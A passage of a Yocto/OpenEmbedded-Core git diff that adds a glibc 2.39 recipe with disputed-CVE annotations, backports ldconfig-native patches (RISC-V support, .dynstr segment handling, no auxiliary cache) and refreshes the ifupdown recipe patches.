-do_configure () {
-# override this function to avoid the autoconf/automake/aclocal/autoheader
-# calls for now
-# don't pass CPPFLAGS into configure, since it upsets the kernel-headers
-# version check and doesn't really help with anything
- (cd ${S} && gnu-configize) || die "failure in running gnu-configize"
- find ${S} -name "configure" | xargs touch
- CPPFLAGS="" oe_runconf
-}
-
-LDFLAGS += "-fuse-ld=bfd"
-do_compile () {
- base_do_compile
- echo "Adjust ldd script"
- if [ -n "${RTLDLIST}" ]
- then
- prevrtld=`cat ${B}/elf/ldd | grep "^RTLDLIST=" | sed 's#^RTLDLIST="\?\([^"]*\)"\?$#\1#'`
- # remove duplicate entries
- newrtld=`echo $(printf '%s\n' ${prevrtld} ${RTLDLIST} | LC_ALL=C sort -u)`
- echo "ldd \"${prevrtld} ${RTLDLIST}\" -> \"${newrtld}\""
- sed -i ${B}/elf/ldd -e "s#^RTLDLIST=.*\$#RTLDLIST=\"${newrtld}\"#"
- fi
-}
-
-require glibc-package.inc
-
-BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-core/glibc/glibc_2.39.bb b/meta/recipes-core/glibc/glibc_2.39.bb
new file mode 100644
index 0000000000..9122472689
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc_2.39.bb
@@ -0,0 +1,128 @@
+require glibc.inc
+require glibc-version.inc
+
+# glibc https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-1010022
+# glibc https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-1010023
+# glibc https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-1010024
+CVE_STATUS_GROUPS = "CVE_STATUS_RECIPE"
+CVE_STATUS_RECIPE = "CVE-2019-1010022 CVE-2019-1010023 CVE-2019-1010024"
+CVE_STATUS_RECIPE[status] = "disputed: \
+Upstream glibc maintainers dispute there is any issue and have no plans to address it further. \
+this is being treated as a non-security bug and no real threat."
+
+# glibc https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-1010025
+# Potential patch at https://sourceware.org/bugzilla/show_bug.cgi?id=22853
+CVE_STATUS[CVE-2019-1010025] = "disputed: \
+Allows for ASLR bypass so can bypass some hardening, not an exploit in itself, may allow \
+easier access for another. 'ASLR bypass itself is not a vulnerability.'"
+
+DEPENDS += "gperf-native bison-native"
+
+NATIVESDKFIXES ?= ""
+NATIVESDKFIXES:class-nativesdk = "\
+ file://0003-nativesdk-glibc-Look-for-host-system-ld.so.cache-as-.patch \
+ file://0004-nativesdk-glibc-Fix-buffer-overrun-with-a-relocated-.patch \
+ file://0005-nativesdk-glibc-Raise-the-size-of-arrays-containing-.patch \
+ file://0006-nativesdk-glibc-Allow-64-bit-atomics-for-x86.patch \
+ file://0007-nativesdk-glibc-Make-relocatable-install-for-locales.patch \
+ file://0008-nativesdk-glibc-Fall-back-to-faccessat-on-faccess2-r.patch \
+"
+
+SRC_URI = "${GLIBC_GIT_URI};branch=${SRCBRANCH};name=glibc \
+ file://etc/ld.so.conf \
+ file://generate-supported.mk \
+ file://makedbs.sh \
+ \
+ ${NATIVESDKFIXES} \
+ file://0009-yes-within-the-path-sets-wrong-config-variables.patch \
+ file://0010-eglibc-Cross-building-and-testing-instructions.patch \
+ file://0011-eglibc-Help-bootstrap-cross-toolchain.patch \
+ file://0012-eglibc-Resolve-__fpscr_values-on-SH4.patch \
+ file://0013-eglibc-Forward-port-cross-locale-generation-support.patch \
+ file://0014-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch \
+ file://0015-powerpc-Do-not-ask-compiler-for-finding-arch.patch \
+ file://0016-wordsize.h-Unify-the-header-between-arm-and-aarch64.patch \
+ file://0017-Replace-echo-with-printf-builtin-in-nscd-init-script.patch \
+ file://0018-sysdeps-gnu-configure.ac-Set-libc_cv_rootsbindir-onl.patch \
+ file://0019-timezone-Make-shell-interpreter-overridable-in-tzsel.patch \
+ file://0020-tzselect.ksh-Use-bin-sh-default-shell-interpreter.patch \
+ file://0021-fix-create-thread-failed-in-unprivileged-process-BZ-.patch \
+ file://0022-Avoid-hardcoded-build-time-paths-in-the-output-binar.patch \
+ file://0023-aarch64-configure-Pass-mcpu-along-with-march-to-dete.patch \
+ file://0024-qemu-stale-process.patch \
+"
+S = "${WORKDIR}/git"
+B = "${WORKDIR}/build-${TARGET_SYS}"
+
+PACKAGES_DYNAMIC = ""
+
+# the -isystem in bitbake.conf screws up glibc do_stage
+BUILD_CPPFLAGS = "-I${STAGING_INCDIR_NATIVE}"
+TARGET_CPPFLAGS = "-I${STAGING_DIR_TARGET}${includedir}"
+
+GLIBC_BROKEN_LOCALES = ""
+
+GLIBCPIE ??= ""
+
+EXTRA_OECONF = "--enable-kernel=${OLDEST_KERNEL} \
+ --disable-profile \
+ --disable-debug --without-gd \
+ --enable-clocale=gnu \
+ --with-headers=${STAGING_INCDIR} \
+ --without-selinux \
+ --enable-bind-now \
+ --enable-stack-protector=strong \
+ --disable-crypt \
+ --with-default-link \
+ --disable-werror \
+ --enable-fortify-source \
+ ${@bb.utils.contains_any('SELECTED_OPTIMIZATION', '-O0 -Og', '--disable-werror', '', d)} \
+ ${GLIBCPIE} \
+ ${GLIBC_EXTRA_OECONF}"
+
+EXTRA_OECONF += "${@get_libc_fpu_setting(bb, d)}"
+
+EXTRA_OECONF:append:x86-64 = " --enable-cet"
+
+PACKAGECONFIG ??= "nscd memory-tagging"
+
+PACKAGECONFIG[nscd] = "--enable-nscd,--disable-nscd"
+PACKAGECONFIG[memory-tagging] = "--enable-memory-tagging,--disable-memory-tagging"
+
+do_patch:append() {
+ bb.build.exec_func('do_fix_readlib_c', d)
+}
+
+do_fix_readlib_c () {
+ sed -i -e 's#OECORE_KNOWN_INTERPRETER_NAMES#${EGLIBC_KNOWN_INTERPRETER_NAMES}#' ${S}/elf/readlib.c
+}
+
+do_configure () {
+# override this function to avoid the autoconf/automake/aclocal/autoheader
+# calls for now
+# don't pass CPPFLAGS into configure, since it upsets the kernel-headers
+# version check and doesn't really help with anything
+ (cd ${S} && gnu-configize) || die "failure in running gnu-configize"
+ find ${S} -name "configure" | xargs touch
+ CPPFLAGS="" LD="${HOST_PREFIX}ld.bfd ${TOOLCHAIN_OPTIONS}" oe_runconf
+}
+
+LDFLAGS += "-fuse-ld=bfd"
+CC += "-fuse-ld=bfd"
+
+do_compile () {
+ base_do_compile
+ echo "Adjust ldd script"
+ if [ -n "${RTLDLIST}" ]
+ then
+ prevrtld=`cat ${B}/elf/ldd | grep "^RTLDLIST=" | sed 's#^RTLDLIST="\?\([^"]*\)"\?$#\1#'`
+ # remove duplicate entries
+ newrtld=`echo $(printf '%s\n' ${prevrtld} ${RTLDLIST} | LC_ALL=C sort -u)`
+ echo "ldd \"${prevrtld} ${RTLDLIST}\" -> \"${newrtld}\""
+ sed -i ${B}/elf/ldd -e "s#^RTLDLIST=.*\$#RTLDLIST=\"${newrtld}\"#"
+ fi
+}
+
+require glibc-package.inc
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-core/glibc/ldconfig-native-2.12.1/add-riscv-support.patch b/meta/recipes-core/glibc/ldconfig-native-2.12.1/add-riscv-support.patch
new file mode 100644
index 0000000000..fc41aee264
--- /dev/null
+++ b/meta/recipes-core/glibc/ldconfig-native-2.12.1/add-riscv-support.patch
@@ -0,0 +1,79 @@
+From fd50228cc213d2d87f5e3cf1f123acb3fda9b04e Mon Sep 17 00:00:00 2001
+From: Christoph Muellner <cmuellner@linux.com>
+Date: Mon, 28 Jun 2021 00:34:12 +0200
+Subject: [PATCH] ldconfig: Add RISC-V support
+
+ldconfig-native does not support RISC-V at the moment.
+Let's pull the reqired constants from upstream and add
+the required parsing code.
+
+Upstream-Status: Backport
+
+Signed-off-by: Christoph Muellner <cmuellner@linux.com>
+---
+ cache.c | 6 ++++++
+ ldconfig.h | 2 ++
+ readelflib.c | 10 ++++++++++
+ 3 files changed, 18 insertions(+)
+
+diff --git a/cache.c b/cache.c
+index c4f5411..a3b9e70 100644
+--- a/cache.c
++++ b/cache.c
+@@ -125,6 +125,12 @@ print_entry (const char *lib, int flag, unsigned int osversion,
+ case FLAG_AARCH64_LIB64:
+ fputs (",AArch64", stdout);
+ break;
++ case FLAG_RISCV_FLOAT_ABI_SOFT:
++ fputs (",soft-float", stdout);
++ break;
++ case FLAG_RISCV_FLOAT_ABI_DOUBLE:
++ fputs (",double-float", stdout);
++ break;
+ case 0:
+ break;
+ default:
+diff --git a/ldconfig.h b/ldconfig.h
+index 6a8a750..2e5e379 100644
+--- a/ldconfig.h
++++ b/ldconfig.h
+@@ -38,6 +38,8 @@
+ #define FLAG_ARM_LIBHF 0x0900
+ #define FLAG_AARCH64_LIB64 0x0a00
+ #define FLAG_ARM_LIBSF 0x0b00
++#define FLAG_RISCV_FLOAT_ABI_SOFT 0x0f00
++#define FLAG_RISCV_FLOAT_ABI_DOUBLE 0x1000
+
+ /* Name of auxiliary cache. */
+ #define _PATH_LDCONFIG_AUX_CACHE "/var/cache/ldconfig/aux-cache"
+diff --git a/readelflib.c b/readelflib.c
+index 9ec0a54..a01e1ce 100644
+--- a/readelflib.c
++++ b/readelflib.c
+@@ -33,6 +33,10 @@
+ #define EM_AARCH64 183 /* ARM AARCH64 */
+ #endif
+
++#ifndef EM_RISCV
++#define EM_RISCV 243 /* RISC-V */
++#endif
++
+ #undef check_ptr
+ #define check_ptr(ptr) \
+ do \
+@@ -331,6 +335,12 @@ process_elf_file64 (const char *file_name, const char *lib, int *flag,
+ /* see sysdeps/unix/sysv/linux/arm/readelflib.c */
+ *flag |= FLAG_AARCH64_LIB64|FLAG_ELF_LIBC6;
+ break;
++ case EM_RISCV:
++ /* RISC-V libraries are always libc.so.6+. */
++ /* NOTE: This does not correctly handle soft-float binaries */
++ /* see sysdeps/unix/sysv/linux/riscv/readelflib.c */
++ *flag |= FLAG_RISCV_FLOAT_ABI_DOUBLE|FLAG_ELF_LIBC6;
++ break;
+ default:
+ error(0, 0, "%s is a 64-bit ELF for unknown machine %lx\n",
+ file_name, (long)elf_header->e_machine);
+--
+2.25.1
+
diff --git a/meta/recipes-core/glibc/ldconfig-native-2.12.1/ldconfig-handle-.dynstr-located-in-separate-segment.patch b/meta/recipes-core/glibc/ldconfig-native-2.12.1/ldconfig-handle-.dynstr-located-in-separate-segment.patch
new file mode 100644
index 0000000000..36f04adfde
--- /dev/null
+++ b/meta/recipes-core/glibc/ldconfig-native-2.12.1/ldconfig-handle-.dynstr-located-in-separate-segment.patch
@@ -0,0 +1,178 @@
+From 864054a6cb971688a181316b8227ae0361b4d69e Mon Sep 17 00:00:00 2001
+From: Andreas Schwab <schwab@suse.de>
+Date: Wed, 9 Oct 2019 17:46:47 +0200
+Subject: [PATCH] ldconfig: handle .dynstr located in separate segment (bug
+ 25087)
+
+To determine the load offset of the DT_STRTAB section search for the
+segment containing it, instead of using the load offset of the first
+segment.
+
+Upstream-Status: Backport [https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=58e8f5fd2ba47b6dc47fd4d0a35e4175c7c87aaa]
+
+Backported: ported to support endianness and 32/64 bits.
+Signed-off-by: Fabien Mahot <fabien.mahot@external.desouttertools.com>
+---
+ readelflib.c | 86 +++++++++++++++++++++++++++++++---------------------
+ 1 file changed, 52 insertions(+), 34 deletions(-)
+
+diff --git a/readelflib.c b/readelflib.c
+index a01e1cede3..380aed563d 100644
+--- a/readelflib.c
++++ b/readelflib.c
+@@ -80,7 +80,6 @@ process_elf_file32 (const char *file_name, const char *lib, int *flag,
+ {
+ int i;
+ unsigned int j;
+- Elf32_Addr loadaddr;
+ unsigned int dynamic_addr;
+ size_t dynamic_size;
+ char *program_interpreter;
+@@ -110,7 +109,6 @@ process_elf_file32 (const char *file_name, const char *lib, int *flag,
+ libc5/libc6. */
+ *flag = FLAG_ELF;
+
+- loadaddr = -1;
+ dynamic_addr = 0;
+ dynamic_size = 0;
+ program_interpreter = NULL;
+@@ -121,11 +119,6 @@ process_elf_file32 (const char *file_name, const char *lib, int *flag,
+
+ switch (read32(segment->p_type, be))
+ {
+- case PT_LOAD:
+- if (loadaddr == (Elf32_Addr) -1)
+- loadaddr = read32(segment->p_vaddr, be) - read32(segment->p_offset, be);
+- break;
+-
+ case PT_DYNAMIC:
+ if (dynamic_addr)
+ error (0, 0, _("more than one dynamic segment\n"));
+@@ -188,11 +181,6 @@ process_elf_file32 (const char *file_name, const char *lib, int *flag,
+ }
+
+ }
+- if (loadaddr == (Elf32_Addr) -1)
+- {
+- /* Very strange. */
+- loadaddr = 0;
+- }
+
+ /* Now we can read the dynamic sections. */
+ if (dynamic_size == 0)
+@@ -208,11 +196,32 @@ process_elf_file32 (const char *file_name, const char *lib, int *flag,
+ {
+ check_ptr (dyn_entry);
+ if (read32(dyn_entry->d_tag, be) == DT_STRTAB)
+- {
+- dynamic_strings = (char *) (file_contents + read32(dyn_entry->d_un.d_val, be) - loadaddr);
+- check_ptr (dynamic_strings);
+- break;
+- }
++ {
++ /* Find the file offset of the segment containing the dynamic
++ string table. */
++ Elf32_Off loadoff = -1;
++ for (i = 0, segment = elf_pheader;
++ i < read16(elf_header->e_phnum, be); i++, segment++)
++ {
++ if (read32(segment->p_type, be) == PT_LOAD
++ && read32(dyn_entry->d_un.d_val, be) >= read32(segment->p_vaddr, be)
++ && (read32(dyn_entry->d_un.d_val, be) - read32(segment->p_vaddr, be)
++ < read32(segment->p_filesz, be)))
++ {
++ loadoff = read32(segment->p_vaddr, be) - read32(segment->p_offset, be);
++ break;
++ }
++ }
++ if (loadoff == (Elf32_Off) -1)
++ {
++ /* Very strange. */
++ loadoff = 0;
++ }
++
++ dynamic_strings = (char *) (file_contents + read32(dyn_entry->d_un.d_val, be) - loadoff);
++ check_ptr (dynamic_strings);
++ break;
++ }
+ }
+
+ if (dynamic_strings == NULL)
+@@ -269,7 +278,6 @@ process_elf_file64 (const char *file_name, const char *lib, int *flag,
+ {
+ int i;
+ unsigned int j;
+- Elf64_Addr loadaddr;
+ Elf64_Addr dynamic_addr;
+ Elf64_Xword dynamic_size;
+ char *program_interpreter;
+@@ -347,7 +355,6 @@ process_elf_file64 (const char *file_name, const char *lib, int *flag,
+ break;
+ }
+
+- loadaddr = -1;
+ dynamic_addr = 0;
+ dynamic_size = 0;
+ program_interpreter = NULL;
+@@ -358,11 +365,6 @@ process_elf_file64 (const char *file_name, const char *lib, int *flag,
+
+ switch (read32(segment->p_type, be))
+ {
+- case PT_LOAD:
+- if (loadaddr == (Elf64_Addr) -1)
+- loadaddr = read64(segment->p_vaddr, be) - read64(segment->p_offset, be);
+- break;
+-
+ case PT_DYNAMIC:
+ if (dynamic_addr)
+ error (0, 0, _("more than one dynamic segment\n"));
+@@ -426,11 +428,6 @@ process_elf_file64 (const char *file_name, const char *lib, int *flag,
+ }
+
+ }
+- if (loadaddr == (Elf64_Addr) -1)
+- {
+- /* Very strange. */
+- loadaddr = 0;
+- }
+
+ /* Now we can read the dynamic sections. */
+ if (dynamic_size == 0)
+@@ -446,11 +443,32 @@ process_elf_file64 (const char *file_name, const char *lib, int *flag,
+ {
+ check_ptr (dyn_entry);
+ if (read64(dyn_entry->d_tag, be) == DT_STRTAB)
+- {
+- dynamic_strings = (char *) (file_contents + read64(dyn_entry->d_un.d_val, be) - loadaddr);
+- check_ptr (dynamic_strings);
+- break;
+- }
++ {
++ /* Find the file offset of the segment containing the dynamic
++ string table. */
++ Elf64_Off loadoff = -1;
++ for (i = 0, segment = elf_pheader;
++ i < read16(elf_header->e_phnum, be); i++, segment++)
++ {
++ if (read64(segment->p_type, be) == PT_LOAD
++ && read64(dyn_entry->d_un.d_val, be) >= read64(segment->p_vaddr, be)
++ && (read64(dyn_entry->d_un.d_val, be) - read64(segment->p_vaddr, be)
++ < read64(segment->p_filesz, be)))
++ {
++ loadoff = read64(segment->p_vaddr, be) - read64(segment->p_offset, be);
++ break;
++ }
++ }
++ if (loadoff == (Elf32_Off) -1)
++ {
++ /* Very strange. */
++ loadoff = 0;
++ }
++
++ dynamic_strings = (char *) (file_contents + read64(dyn_entry->d_un.d_val, be) - loadoff);
++ check_ptr (dynamic_strings);
++ break;
++ }
+ }
+
+ if (dynamic_strings == NULL)
diff --git a/meta/recipes-core/glibc/ldconfig-native-2.12.1/ldconfig.patch b/meta/recipes-core/glibc/ldconfig-native-2.12.1/ldconfig.patch
index 52986e61c7..d1835c7a10 100644
--- a/meta/recipes-core/glibc/ldconfig-native-2.12.1/ldconfig.patch
+++ b/meta/recipes-core/glibc/ldconfig-native-2.12.1/ldconfig.patch
@@ -400,7 +400,7 @@ Index: ldconfig-native-2.12.1/ldconfig.c
return 0;
}
-+#define REPORT_BUGS_TO "mailing list : poky@yoctoproject.org"
++#define REPORT_BUGS_TO "mailing list : poky@lists.yoctoproject.org"
/* Print bug-reporting information in the help message. */
static char *
more_help (int key, const char *text, void *input)
diff --git a/meta/recipes-core/glibc/ldconfig-native-2.12.1/no-aux-cache.patch b/meta/recipes-core/glibc/ldconfig-native-2.12.1/no-aux-cache.patch
new file mode 100644
index 0000000000..c6765ba00d
--- /dev/null
+++ b/meta/recipes-core/glibc/ldconfig-native-2.12.1/no-aux-cache.patch
@@ -0,0 +1,19 @@
+The ldconfig auxiliary cache is a dictionary where the keys include inode, so
+there is no point in writing these files on the build host.
+
+Upstream-Status: Inappropriate
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+diff --git a/ldconfig.c b/ldconfig.c
+index 2c4eb57..2d6dc92 100644
+--- a/ldconfig.c
++++ b/ldconfig.c
+@@ -1399,8 +1399,6 @@ main (int argc, char **argv)
+ if (opt_build_cache)
+ {
+ save_cache (cache_file);
+- if (aux_cache_file)
+- save_aux_cache (aux_cache_file);
+ }
+
+ return 0;
diff --git a/meta/recipes-core/glibc/ldconfig-native_2.12.1.bb b/meta/recipes-core/glibc/ldconfig-native_2.12.1.bb
index 93c0b18671..9ca95d1e52 100644
--- a/meta/recipes-core/glibc/ldconfig-native_2.12.1.bb
+++ b/meta/recipes-core/glibc/ldconfig-native_2.12.1.bb
@@ -1,6 +1,6 @@
SUMMARY = "A standalone native ldconfig build"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://${S}/ldconfig.c;endline=17;md5=1d15f20937c055cb5de2329a4c054399"
@@ -14,9 +14,11 @@ SRC_URI = "file://ldconfig-native-2.12.1.tar.bz2 \
file://ldconfig-default-to-all-multilib-dirs.patch \
file://endian-ness_handling_fix.patch \
file://add-64-bit-flag-for-ELF64-entries.patch \
+ file://no-aux-cache.patch \
+ file://add-riscv-support.patch \
+ file://ldconfig-handle-.dynstr-located-in-separate-segment.patch \
"
-PR = "r2"
FILESEXTRAPATHS =. "${FILE_DIRNAME}/${P}:"
diff --git a/meta/recipes-core/ifupdown/files/0001-Define-FNM_EXTMATCH-for-musl.patch b/meta/recipes-core/ifupdown/files/0001-Define-FNM_EXTMATCH-for-musl.patch
index 7bf02ea536..6c4ed526bf 100644
--- a/meta/recipes-core/ifupdown/files/0001-Define-FNM_EXTMATCH-for-musl.patch
+++ b/meta/recipes-core/ifupdown/files/0001-Define-FNM_EXTMATCH-for-musl.patch
@@ -1,4 +1,4 @@
-From ff714d6461569d69b253089110ec659e4ebec248 Mon Sep 17 00:00:00 2001
+From 8dfbcf02e424ba1fdef587d81c9e08a37ab8c1b6 Mon Sep 17 00:00:00 2001
From: Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>
Date: Tue, 2 Jul 2019 20:10:42 +0200
Subject: [PATCH] Define FNM_EXTMATCH for musl
@@ -24,12 +24,13 @@ function); did you mean 'FNM_NOMATCH'?
Upstream-Status: Submitted [https://salsa.debian.org/debian/ifupdown/merge_requests/5]
Signed-off-by: Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>
+
---
archcommon.h | 4 ++++
1 file changed, 4 insertions(+)
diff --git a/archcommon.h b/archcommon.h
-index fe99950..f257f9d 100644
+index 818b0b6..ad9cd1a 100644
--- a/archcommon.h
+++ b/archcommon.h
@@ -1,5 +1,9 @@
@@ -42,6 +43,3 @@ index fe99950..f257f9d 100644
bool execable(const char *);
#define iface_is_link() (!_iface_has(ifd->real_iface, ":."))
---
-2.17.1
-
diff --git a/meta/recipes-core/ifupdown/files/0001-Makefile-do-not-use-dpkg-for-determining-OS-type.patch b/meta/recipes-core/ifupdown/files/0001-Makefile-do-not-use-dpkg-for-determining-OS-type.patch
index 57c8d04fd7..6e15a25224 100644
--- a/meta/recipes-core/ifupdown/files/0001-Makefile-do-not-use-dpkg-for-determining-OS-type.patch
+++ b/meta/recipes-core/ifupdown/files/0001-Makefile-do-not-use-dpkg-for-determining-OS-type.patch
@@ -1,10 +1,11 @@
-From 7ace0656bd325f9e7749f2cde641eddc057bc98a Mon Sep 17 00:00:00 2001
+From 7fe516cbaf9fda09d99dcb54d4645367cffc8a4d Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Thu, 9 Jan 2020 15:38:06 +0100
Subject: [PATCH] Makefile: do not use dpkg for determining OS type
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
---
Makefile | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/meta/recipes-core/ifupdown/files/0001-ifupdown-skip-wrong-test-case.patch b/meta/recipes-core/ifupdown/files/0001-ifupdown-skip-wrong-test-case.patch
new file mode 100644
index 0000000000..9ae24da51e
--- /dev/null
+++ b/meta/recipes-core/ifupdown/files/0001-ifupdown-skip-wrong-test-case.patch
@@ -0,0 +1,30 @@
+From 782d8a869c266820d0f34974436f244f67afaea7 Mon Sep 17 00:00:00 2001
+From: Zqiang <qiang.zhang@windriver.com>
+Date: Mon, 19 Apr 2021 14:15:45 +0800
+Subject: [PATCH] ifupdown: skip wrong test case
+
+The test parameters of testcase(12-15) file is not right,
+it triggers a test failure, these test items are invalid
+and are skipped directly.
+
+Upstream-Status: Inappropriate [oe-core specific]
+
+Signed-off-by: Zqiang <qiang.zhang@windriver.com>
+
+---
+ tests/testbuild-linux | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/tests/testbuild-linux b/tests/testbuild-linux
+index 2fa1b8b..2c69856 100755
+--- a/tests/testbuild-linux
++++ b/tests/testbuild-linux
+@@ -3,7 +3,7 @@
+ dir=tests/linux
+
+ result=true
+-for test in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19; do
++for test in 1 2 3 4 5 6 7 8 9 10 11 16 17 18 19; do
+ if [ -e $dir/testcase.$test ]; then
+ args="$(cat $dir/testcase.$test | sed -n 's/^# RUN: //p')"
+ else
diff --git a/meta/recipes-core/ifupdown/files/defn2-c-man-don-t-rely-on-dpkg-architecture-to-set-a.patch b/meta/recipes-core/ifupdown/files/defn2-c-man-don-t-rely-on-dpkg-architecture-to-set-a.patch
index d1c3d260ed..7b4b761e6a 100644
--- a/meta/recipes-core/ifupdown/files/defn2-c-man-don-t-rely-on-dpkg-architecture-to-set-a.patch
+++ b/meta/recipes-core/ifupdown/files/defn2-c-man-don-t-rely-on-dpkg-architecture-to-set-a.patch
@@ -1,7 +1,7 @@
-From 40257d65b338b6e2ed9d89d6fa7c7b8701a4c311 Mon Sep 17 00:00:00 2001
+From fc8e8d4cb19ff30e69aa1855332544f1017f974c Mon Sep 17 00:00:00 2001
From: Paul Gortmaker <paul.gortmaker@windriver.com>
Date: Wed, 6 Aug 2014 14:54:12 -0400
-Subject: [PATCH 1/2] defn2[c|man]: don't rely on dpkg-architecture to set arch
+Subject: [PATCH] defn2[c|man]: don't rely on dpkg-architecture to set arch
In yocto we'll always be cross compiling, and we'll always
be building on linux for linux (vs. *BSD, hurd, etc.)
@@ -13,13 +13,14 @@ like the loopback device not being configured/enabled.
Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com>
Upstream-Status: Pending
+
---
defn2c.pl | 6 +++---
defn2man.pl | 6 +++---
2 files changed, 6 insertions(+), 6 deletions(-)
diff --git a/defn2c.pl b/defn2c.pl
-index 8798dc2..f2551c7 100755
+index fa7a02e..bb4987d 100755
--- a/defn2c.pl
+++ b/defn2c.pl
@@ -2,9 +2,9 @@
@@ -52,6 +53,3 @@ index 6ddcfdd..c9c4dd0 100755
# declarations
my $line;
---
-2.17.1
-
diff --git a/meta/recipes-core/ifupdown/files/tweak-ptest-script.patch b/meta/recipes-core/ifupdown/files/tweak-ptest-script.patch
index d7600cf243..fa6bb84df3 100644
--- a/meta/recipes-core/ifupdown/files/tweak-ptest-script.patch
+++ b/meta/recipes-core/ifupdown/files/tweak-ptest-script.patch
@@ -1,11 +1,19 @@
-Tweak tests of ifupdown to make it work with oe-core ptest framework.
+From a6bb2ac5f521c678abbbdb1960d28f750f4357a6 Mon Sep 17 00:00:00 2001
+From: Kai Kang <kai.kang@windriver.com>
+Date: Mon, 3 Feb 2020 17:33:11 +0800
+Subject: [PATCH] Tweak tests of ifupdown to make it work with oe-core ptest
+ framework.
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Kai Kang <kai.kang@windriver.com>
+---
+ tests/testbuild-linux | 11 ++++++-----
+ 1 file changed, 6 insertions(+), 5 deletions(-)
+
diff --git a/tests/testbuild-linux b/tests/testbuild-linux
-index 1181ea0..d5c1814 100755
+index 2c69856..05f0703 100755
--- a/tests/testbuild-linux
+++ b/tests/testbuild-linux
@@ -1,6 +1,7 @@
@@ -16,8 +24,8 @@ index 1181ea0..d5c1814 100755
+dir=$curdir/linux
result=true
- for test in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do
-@@ -12,7 +13,7 @@ for test in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do
+ for test in 1 2 3 4 5 6 7 8 9 10 11 16 17 18 19; do
+@@ -12,7 +13,7 @@ for test in 1 2 3 4 5 6 7 8 9 10 11 16 17 18 19; do
echo "Testcase $test: $args"
exitcode=0
@@ -26,7 +34,7 @@ index 1181ea0..d5c1814 100755
>$dir/up-res-out.$test 2>$dir/up-res-err.$test || exitcode=$?
(echo "exit code: $exitcode";
-@@ -20,7 +21,7 @@ for test in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do
+@@ -20,7 +21,7 @@ for test in 1 2 3 4 5 6 7 8 9 10 11 16 17 18 19; do
echo "====stderr===="; cat $dir/up-res-err.$test) > $dir/up-res.$test
exitcode=0
@@ -35,7 +43,7 @@ index 1181ea0..d5c1814 100755
>$dir/down-res-out.$test 2>$dir/down-res-err.$test || exitcode=$?
(echo "exit code: $exitcode";
-@@ -28,9 +29,9 @@ for test in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do
+@@ -28,9 +29,9 @@ for test in 1 2 3 4 5 6 7 8 9 10 11 16 17 18 19; do
echo "====stderr===="; cat $dir/down-res-err.$test) > $dir/down-res.$test
if diff -ub $dir/up.$test $dir/up-res.$test && diff -ub $dir/down.$test $dir/down-res.$test; then
diff --git a/meta/recipes-core/ifupdown/ifupdown_0.8.35.bb b/meta/recipes-core/ifupdown/ifupdown_0.8.35.bb
deleted file mode 100644
index 53cb971d33..0000000000
--- a/meta/recipes-core/ifupdown/ifupdown_0.8.35.bb
+++ /dev/null
@@ -1,55 +0,0 @@
-SUMMARY = "ifupdown: basic ifup and ifdown used by initscripts"
-DESCRIPTION = "High level tools to configure network interfaces \
-This package provides the tools ifup and ifdown which may be used to \
-configure (or, respectively, deconfigure) network interfaces, based on \
-the file /etc/network/interfaces."
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
-
-SRC_URI = "git://salsa.debian.org/debian/ifupdown.git;protocol=https \
- file://defn2-c-man-don-t-rely-on-dpkg-architecture-to-set-a.patch \
- file://99_network \
- file://0001-Define-FNM_EXTMATCH-for-musl.patch \
- file://0001-Makefile-do-not-use-dpkg-for-determining-OS-type.patch \
- file://run-ptest \
- ${@bb.utils.contains('DISTRO_FEATURES', 'ptest', 'file://tweak-ptest-script.patch', '', d)} \
- "
-SRCREV = "4af76318cfc57f8e4a44d357104188666213bd4b"
-
-S = "${WORKDIR}/git"
-
-
-inherit ptest update-alternatives
-
-do_compile () {
- chmod a+rx *.pl *.sh
- oe_runmake 'CC=${CC}' "CFLAGS=${CFLAGS} -Wall -W -D'IFUPDOWN_VERSION=\"${PV}\"'"
-}
-
-do_install () {
- install -d ${D}${mandir}/man8 \
- ${D}${mandir}/man5 \
- ${D}${base_sbindir}
-
- # If volatiles are used, then we'll also need /run/network there too.
- install -d ${D}/etc/default/volatiles
- install -m 0644 ${WORKDIR}/99_network ${D}/etc/default/volatiles
-
- install -m 0755 ifup ${D}${base_sbindir}/
- ln ${D}${base_sbindir}/ifup ${D}${base_sbindir}/ifdown
- install -m 0644 ifup.8 ${D}${mandir}/man8
- install -m 0644 interfaces.5 ${D}${mandir}/man5
- cd ${D}${mandir}/man8 && ln -s ifup.8 ifdown.8
-}
-
-do_install_ptest () {
- install -d ${D}${PTEST_PATH}/tests
- cp -r ${S}/tests/testbuild-linux ${D}${PTEST_PATH}/tests/
- cp -r ${S}/tests/linux ${D}${PTEST_PATH}/tests/
-}
-
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "ifup ifdown"
-
-ALTERNATIVE_LINK_NAME[ifup] = "${base_sbindir}/ifup"
-ALTERNATIVE_LINK_NAME[ifdown] = "${base_sbindir}/ifdown"
diff --git a/meta/recipes-core/ifupdown/ifupdown_0.8.41.bb b/meta/recipes-core/ifupdown/ifupdown_0.8.41.bb
new file mode 100644
index 0000000000..16425ea9e4
